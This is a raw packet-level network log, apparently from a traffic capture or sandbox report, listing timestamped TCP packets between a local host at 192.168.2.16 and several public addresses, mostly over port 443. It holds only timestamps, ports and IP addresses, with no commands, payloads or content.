Oct 30, 2024 16:25:44.993877888 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.993886948 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.993908882 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.993941069 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.993988991 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.994106054 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.994154930 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.994165897 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.027909994 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.027945995 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.043869972 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.043905020 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.059887886 CET	49680	80	192.168.2.16	192.229.211.108
Oct 30, 2024 16:25:45.075910091 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.091876030 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.101666927 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.101838112 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.101908922 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.101923943 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.102008104 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.102056026 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.102061987 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.102185011 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.102232933 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.102238894 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.102771997 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.102842093 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.102848053 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.102922916 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.103013992 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.103018999 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.103534937 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.103599072 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.103605032 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.103708029 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.103760958 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.103766918 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.103848934 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.103899002 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.103904009 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.104463100 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.104547977 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.104600906 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.104607105 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.104660034 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.104665041 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.110838890 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.111059904 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.111140966 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.111183882 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.111207008 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.111289024 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.111382961 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.111392021 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.111464977 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.111881971 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.112030029 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.112087011 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.112093925 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.113395929 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.113476038 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.113482952 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.113497972 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.113569021 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.113579988 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.113761902 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.113815069 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.113821030 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.113914967 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.113966942 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.113972902 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.114053965 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.114140034 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.114145041 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.152486086 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.152618885 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.152636051 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.155904055 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.203918934 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.218830109 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.218899965 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.218931913 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.218991041 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.219027042 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.219105005 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.219110966 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.219118118 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.219193935 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.219388008 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.219683886 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.219721079 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.219723940 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.219733953 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.219773054 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.219779968 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.220271111 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.220339060 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.220345974 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.220388889 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.220755100 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.220846891 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.220907927 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.220937967 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.220959902 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.220972061 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.221002102 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.221750975 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.221813917 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.221826077 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.221874952 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.221882105 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.221890926 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.221936941 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.221973896 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.222011089 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.222037077 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.222055912 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.222810030 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.222878933 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.222878933 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.222903967 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.222948074 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.222968102 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.223663092 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.223701000 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.223733902 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.223782063 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.223836899 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.223864079 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.228070974 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.228163004 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.228195906 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.228210926 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.228235006 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.228279114 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.228427887 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.228526115 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.228558064 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.228575945 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.228583097 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.228610992 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.228626013 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.228632927 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.228698015 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.229196072 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.229238033 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.229285955 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.229294062 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.229341030 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.230098009 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.230154991 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.230161905 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.230175018 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.230201960 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.230207920 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.230236053 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.231028080 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.231082916 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.231090069 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.231113911 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.231131077 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.231138945 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.231174946 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.231970072 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.232008934 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.232026100 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.232033968 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.232068062 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.232801914 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.232860088 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.269961119 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.270067930 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.270124912 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.270185947 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.336528063 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.336631060 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.336638927 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.336711884 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.336747885 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.336755991 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.336781025 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.336798906 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.336821079 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.336890936 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.336949110 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.336963892 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.337008953 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.337146044 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.337210894 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.337523937 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.337594032 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.337618113 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.337682962 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.337702990 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.337764978 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.338136911 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.338248014 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.338287115 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.338351011 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.338424921 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.338490009 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.338540077 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.338603020 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.339090109 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.339176893 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.339345932 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.339416981 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.339485884 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.339694977 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.339715004 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.339742899 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.339787960 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.339823961 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.345221996 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.345309019 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.345385075 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.345428944 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.345649958 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.345706940 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.346148968 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.346199989 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.346199989 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.346210957 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.346245050 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.346250057 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.346288919 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:45.346339941 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.346482038 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:45.346499920 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:50.231890917 CET	49678	443	192.168.2.16	20.189.173.10
Oct 30, 2024 16:25:51.566750050 CET	443	49735	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:51.566848040 CET	443	49735	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:51.566950083 CET	49735	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:51.941576004 CET	49735	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:51.941601992 CET	443	49735	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:54.669940948 CET	49680	80	192.168.2.16	192.229.211.108
Oct 30, 2024 16:25:55.102911949 CET	49756	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:55.102963924 CET	443	49756	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:55.103050947 CET	49756	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:55.103353024 CET	49756	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:55.103367090 CET	443	49756	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:55.209250927 CET	49757	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:55.209291935 CET	443	49757	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:55.209417105 CET	49757	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:55.209748030 CET	49757	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:55.209769011 CET	443	49757	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:55.722367048 CET	443	49756	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:55.722799063 CET	49756	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:55.722817898 CET	443	49756	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:55.724271059 CET	443	49756	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:55.724354982 CET	49756	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:55.724716902 CET	49756	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:55.724798918 CET	443	49756	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:55.724908113 CET	49756	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:55.724916935 CET	443	49756	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:55.770984888 CET	49756	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:55.830889940 CET	443	49757	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:55.831172943 CET	49757	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:55.831190109 CET	443	49757	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:55.832225084 CET	443	49757	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:55.832290888 CET	49757	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:55.832573891 CET	49757	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:55.832639933 CET	443	49757	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:55.883001089 CET	49757	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:55.883032084 CET	443	49757	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:55.930887938 CET	49757	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:56.221801996 CET	443	49756	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:56.221977949 CET	443	49756	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:56.222038031 CET	49756	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:56.222065926 CET	443	49756	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:56.222189903 CET	443	49756	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:56.222242117 CET	49756	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:56.222250938 CET	443	49756	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:56.222349882 CET	443	49756	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:56.222404957 CET	49756	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:56.222413063 CET	443	49756	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:56.222645044 CET	443	49756	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:56.222702026 CET	49756	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:56.265377045 CET	49756	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:56.265403032 CET	443	49756	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:56.282880068 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:56.282991886 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:56.283072948 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:56.283550024 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:56.283628941 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:56.283699036 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:56.284327030 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:56.284364939 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:56.284560919 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:56.284591913 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:56.344681025 CET	49757	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:56.387337923 CET	443	49757	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:56.473385096 CET	443	49757	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:56.473515987 CET	443	49757	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:56.473588943 CET	49757	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:56.474477053 CET	49757	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:25:56.474489927 CET	443	49757	104.21.11.102	192.168.2.16
Oct 30, 2024 16:25:56.477905989 CET	49764	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:56.477942944 CET	443	49764	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:56.478049994 CET	49764	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:56.478470087 CET	49764	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:56.478483915 CET	443	49764	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:56.888125896 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:56.888189077 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:56.888508081 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:56.888529062 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:56.888669968 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:56.888699055 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:56.889389038 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:56.889475107 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:56.889586926 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:56.889656067 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:56.889767885 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:56.889827967 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:56.890043974 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:56.890105963 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:56.890197039 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:56.890202999 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:56.890248060 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:56.890265942 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:56.930964947 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:56.930965900 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.018834114 CET	443	49758	151.101.129.229	192.168.2.16
Oct 30, 2024 16:25:57.031495094 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.031529903 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.031572104 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.031589031 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.031620979 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.031686068 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.031697989 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.031902075 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.032357931 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.073971987 CET	49758	443	192.168.2.16	151.101.129.229
Oct 30, 2024 16:25:57.074038029 CET	49759	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:57.074058056 CET	443	49759	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:57.086644888 CET	443	49764	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:57.086926937 CET	49764	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:57.086958885 CET	443	49764	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:57.088026047 CET	443	49764	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:57.088114977 CET	49764	443	192.168.2.16	172.67.148.193
